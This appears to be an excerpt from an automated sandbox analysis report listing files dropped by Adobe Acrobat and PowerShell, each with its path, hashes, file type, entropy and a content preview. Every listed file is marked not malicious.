Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.24054869036316
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi+2CVrHVoZcg1vRcR0YRqoAvJfshHHrPeUkwRe9:YvXKXRl2Zc0vkZGUUUkee9
MD5:	5D8CBAD9BA96B47660BD6C922D40B43C
SHA1:	B588DDB150B97C2E5C29AE588D623D26F1823D14
SHA-256:	DB17EECE532485B5678A399895CE622C7F378C1779786E21FFC0CDA3129030E0
SHA-512:	12AAA6D09459F520612D67D95E592CC98EF46639E5644A2DA1506EDEAB5D6E35D606AA275F0BFDC5C5F8FDA83298B915F08C5F1A24CA258B59A03CA3817F96F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.257455614228084
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi+2CVrHVoZcg1vRcR0YRqoAvJTqgFCrPeUkwRe9:YvXKXRl2Zc0vkZGTq16Ukee9
MD5:	F95FA95A399E1516268F3ED479205B02
SHA1:	0A40F1212873CE450DB06F120F1ABBC2EF307A2A
SHA-256:	2973D42CEE5A68818E617769937EC77CD11B02B6482579CF0B4416A77B182139
SHA-512:	F553190144ECFA2DCCDEDAAC0C881F7A7DF67858DDE45AB462A1FF6EA0D4B61516DDF47B7D70EC7D52B1FBEE6315637DA7F6C21093861B5B343955F4F563B70D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c5fd8c0-e961-4291-8aba-1deaa60e17ac","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736711637119,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1358227905540454
Encrypted:	false
SSDEEP:	24:Y40xapg3aykTVt5pfXBSA2efjzGiEj0S1erZ24m2LSvCk7Xcy5VUmke5w/v9pn5u:Y4Q6nfX5TKimMNmlVXcy5aeO9ps
MD5:	EFBED600A1D8657847D8BD28B15C94AB
SHA1:	7484931022E06AAAC3072CDD8421862175153603
SHA-256:	347C3139408ABE314EC67E7023C481B1E98FDA6F59F06212D1424C9594C49CF3
SHA-512:	576FA80BB9447E49EECF6550EE98924888AB2863364E482181F50B5BE1EEC8884C44AF50B77348894F05314635C675B714BEDCF38936F0E906A3B484F987F2E3
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"753dd5fdd3939c4fbc81bd1d408bec30","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736538371000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a89b5e8f2ba85a9cd3d1ea9f3df18355","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736538371000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f5c12d4c9e07961e61f3c3347631c6ec","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736538371000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"612a56c221ecd58a2e9494101a3c64c9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736538371000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"13121ab457f56bb0965fcefdd01ff1f9","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736538371000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bdbba7cfef710a33dcfaa5b2ce3a0775","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1854144927466532
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUURdBYSvR9H9vxFGiDIAEkGVvpVdBW:lNVmswUUUUUUUUXa+FGSItXc
MD5:	F8393A0BCB94F1F4C12F7D12C40D9010
SHA1:	22B5C57A0752652B38E6CCBE7453DDB7EB5C5B11
SHA-256:	C1FEE0205A6756682D5382D982F640BFFD540A609D12AE822B7C5EE21B77C064
SHA-512:	4BF5393606B3585D1B7CC468F2B1E1AF8C4D6CCFD4D335059E20467DD0FA4519AA7E7BAC5AF297589724D5A8196ABF0800E2B78AED5BC452E7C604E7DD72001A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.60537894675405
Encrypted:	false
SSDEEP:	48:7MNKUUUUUUUUUURdB6vR9H9vxFGiDIAEkGVvqqFl2GL7msl:7rUUUUUUUUUUXQFGSItEKVmsl
MD5:	7299833BF87122A389C76909E035AC6D
SHA1:	1A8C101CA1BCB48F4885745ECDED634FA32D9B48
SHA-256:	09ACE95254FDBB383FDF22A08D2BBD774FACC191AFD01006D2B42B4EF08B31B3
SHA-512:	5354197FAACFB0BE6A7A03CE522153E400D8950A56CBAB90B4FCA6EBA991F85B2B88854F3ABF47DB7FF4F4AD61D87FF3BF3924045387D6DD6A175AFF7CBE9708
Malicious:	false
Preview:	.... .c.....G........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg44Xgx38MyaNixfj9pwmKsnQ/qYyu:6a6TZ44ADE4+gx38fahsnuqK
MD5:	032B398A7B62B5F6841BBCF7298E897E
SHA1:	3D8BD15091CBAB31362BA75EED172008D9E0D0BB
SHA-256:	47404BC0FA24316EC4888D952D9968DE4428935B09BED12CF1A19CB15F57E313
SHA-512:	74A27B6E67ED397BC6295A67DBAC3E3F07022E41138E5C1E9FA3DEFC5664515A2B415FF0BFBD55301362AE1CB101C1AC395FEBF002AEAA5DCA4518DBDF17A657
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIe5e74.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5105370742203172
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERI:Qw946cPbiOxDlbYnuRK+bDq
MD5:	F470E2207938F41E5DD7CB18C2EEC77D
SHA1:	3904935B238F31D9A4CA734BA8DCB6C89395F00A
SHA-256:	60B71B02453159CA64AD9E973223587389A3AEA6B4DC37DB50FE9D40E0E92F3B
SHA-512:	328408BFD34BB4C3C1841796375EDC454D3D1A71F036C2866050DA630CA9FF4F04A230D6077A3E72861C3BF06EE4D1576E68E130F511DA17BB7381A73DAEFC4F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.4.6.:.1.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p1xvvbbc.xee.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uzsaebu0.cmj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-46-08-528.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.344081819603073
Encrypted:	false
SSDEEP:	384:cQmQkQPQMQqQJQ/+QhQkQGdQJIcpQiQLQuQCQcQcQ5QtQqQfQr73LRmtrtP7dBsu:LBTYb9G/5+TlqF1cJVLLWy9Ik
MD5:	68C0970A4BC82CE7560A27BF8097FA2D
SHA1:	7E053E36B95030110D6830119AA80820C7B72EE1
SHA-256:	53AE0C3C945E516AF8C74D11CA79802A087AB4F37E9F7F528DA212CD9323AA55
SHA-512:	C21C5A85A40FD01527C9361F712128B3B91E0391F60C228D9C2DC6D848C28BE24B497B26CE382B2C20080B37BDFB53C09B9BC22537619B8580402ABD64A4D469
Malicious:	false
Preview:	SessionID=d8a0bd84-ce3b-4d2b-b2b3-713de1c0fd1b.1736538368553 Timestamp=2025-01-10T14:46:08:553-0500 ThreadID=5828 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d8a0bd84-ce3b-4d2b-b2b3-713de1c0fd1b.1736538368553 Timestamp=2025-01-10T14:46:08:554-0500 ThreadID=5828 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d8a0bd84-ce3b-4d2b-b2b3-713de1c0fd1b.1736538368553 Timestamp=2025-01-10T14:46:08:554-0500 ThreadID=5828 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d8a0bd84-ce3b-4d2b-b2b3-713de1c0fd1b.1736538368553 Timestamp=2025-01-10T14:46:08:554-0500 ThreadID=5828 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d8a0bd84-ce3b-4d2b-b2b3-713de1c0fd1b.1736538368553 Timestamp=2025-01-10T14:46:08:554-0500 ThreadID=5828 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.389825074587702
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r0:zk
MD5:	6C025156493D7C00FCE050F62C66FC45
SHA1:	5484DC4704A1F4670C9D406FFC61A776CA420B2C
SHA-256:	4AFBD7F3265FD97F5AEDCF6102B34E7500B4CA14C92ADE26B998F209881CD233
SHA-512:	08644BBF5A4B0DC2312C2A29981371B99B987EBB1248BF97AA2E67BFAE72C9B20163C090E7BA6052426B106F01BB0C9D023C1D0276CE638462DFB91EA4D9AB9C
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5cc9c490-8703-48a8-9582-a4a109e470cd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\72803af6-3e53-4502-b0b7-f519705ac93e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a214c815-6be1-4009-b214-afebd67cc986.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fb0784ab-7ac1-48c4-9818-aff6c1f19a80.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	